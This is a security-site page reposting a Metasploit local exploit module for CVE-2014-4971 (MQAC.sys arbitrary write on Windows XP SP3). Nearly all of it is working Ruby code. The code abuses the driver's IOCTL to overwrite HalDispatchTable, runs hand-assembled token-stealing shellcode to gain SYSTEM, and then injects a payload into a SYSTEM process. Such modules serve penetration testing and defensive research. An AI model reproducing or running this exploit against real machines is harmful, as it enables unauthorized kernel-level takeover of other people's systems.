首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MQAC.sys Arbitrary Write Privilege Escalation
来源:metasploit.com 作者:McIntyre 发布时间:2014-07-28  
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'MQAC.sys Arbitrary Write Privilege Escalation',
      'Description'    => %q{
        A vulnerability within the MQAC.sys module allows an attacker to
        overwrite an arbitrary location in kernel memory.

        This module will elevate itself to SYSTEM, then inject the payload
        into another SYSTEM process.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin', # original exploit and all the hard work
          'Spencer McIntyre' # MSF module
        ],
      'Arch'           => [ ARCH_X86 ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC'   => 'thread',
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              '_KPROCESS' => "\x44",
              '_TOKEN' => "\xc8",
              '_UPID' => "\x84",
              '_APLINKS' => "\x88"
            }
          ],
        ],
      'References'    =>
        [
          [ 'CVE', '2014-4971' ],
          [ 'EDB', '34112' ],
          [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
        ],
      'DisclosureDate'=> 'Jul 22 2014',
      'DefaultTarget' => 0
    }))
  end

  def find_sys_base(drvname)
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
    session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end
  end

  # Function borrowed from smart_hashdump
  def get_system_proc
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid("S-1-5-18")
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

    this_pid = session.sys.process.getpid
    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p["name"])
      next if p["pid"] == this_pid
      next if p["pid"] == 4
      next if p["user"] != system_account_name
      return p
    end
  end

  def open_device
    handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
    if handle['return'] == 0
      print_error('Failed to open the \\\\.\\MQAC device')
      return nil
    end
    handle = handle['return']
  end

  def check
    handle = open_device
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)

    os = sysinfo["OS"]
    case os
    when /windows xp.*service pack 3/i
      return Exploit::CheckCode::Appears
    when /windows xp/i
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    if sysinfo["Architecture"] =~ /wow64/i
      print_error("Running against WOW64 is not supported")
      return
    elsif sysinfo["Architecture"] =~ /x64/
      print_error("Running against 64-bit systems is not supported")
      return
    end

    if is_system?
      print_error("This meterpreter session is already running as SYSTEM")
      return
    end

    kernel_info = find_sys_base(nil)
    base_addr = 0xffff
    print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

    handle = open_device
    return if handle.nil?

    this_proc = session.sys.process.open
    unless this_proc.memory.writable?(base_addr)
      session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
    end
    unless this_proc.memory.writable?(base_addr)
      print_error('Failed to properly allocate memory')
      this_proc.close
      return
    end

    hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    hKernel = hKernel['return']
    halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
    halDispatchTable = halDispatchTable['return']
    halDispatchTable -= hKernel
    halDispatchTable += kernel_info[0]
    print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

    tokenstealing  = "\x52"                                                        # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                        # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                                    # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                                # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + target['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                                    # mov ecx, eax
    tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                                    # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                                    # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                        # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                        # pop edx                          # Restores edx
    tokenstealing << "\xc2\x10"                                                    # ret 10h                          # Away from the kernel!

    shellcode = make_nops(0x200) + tokenstealing
    this_proc.memory.write(0x1, shellcode)
    this_proc.close

    print_status("Triggering vulnerable IOCTL")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    unless is_system?
      print_error("Exploit failed")
      return
    end

    proc = get_system_proc
    print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
    unless execute_shellcode(payload.encoded, nil, proc['pid'])
      fail_with(Failure::Unknown, "Error while executing the payload")
    end
  end

end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Make 3.81 - Heap Overflow PoC
·Pligg 2.0.1 - Multiple Vulnera
·BulletProof FTP Client 2010 -
·Oxwall 1.7.0 - Remote Code Exe
·Omeka 2.2.1 - Remote Code Exec
·SkaDate Lite 2.0 - Remote Code
·Apache 2.4.x mod_proxy Denial
·D-Link AP 3200 Multiple Vulner
·DjVuLibre <= 3.5.25.3 - Out of
·Kolibri WebServer 2.0 - GET Re
·Symantec Endpoint Protection 1
·Microsoft XP SP3 MQAC.sys Arbi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved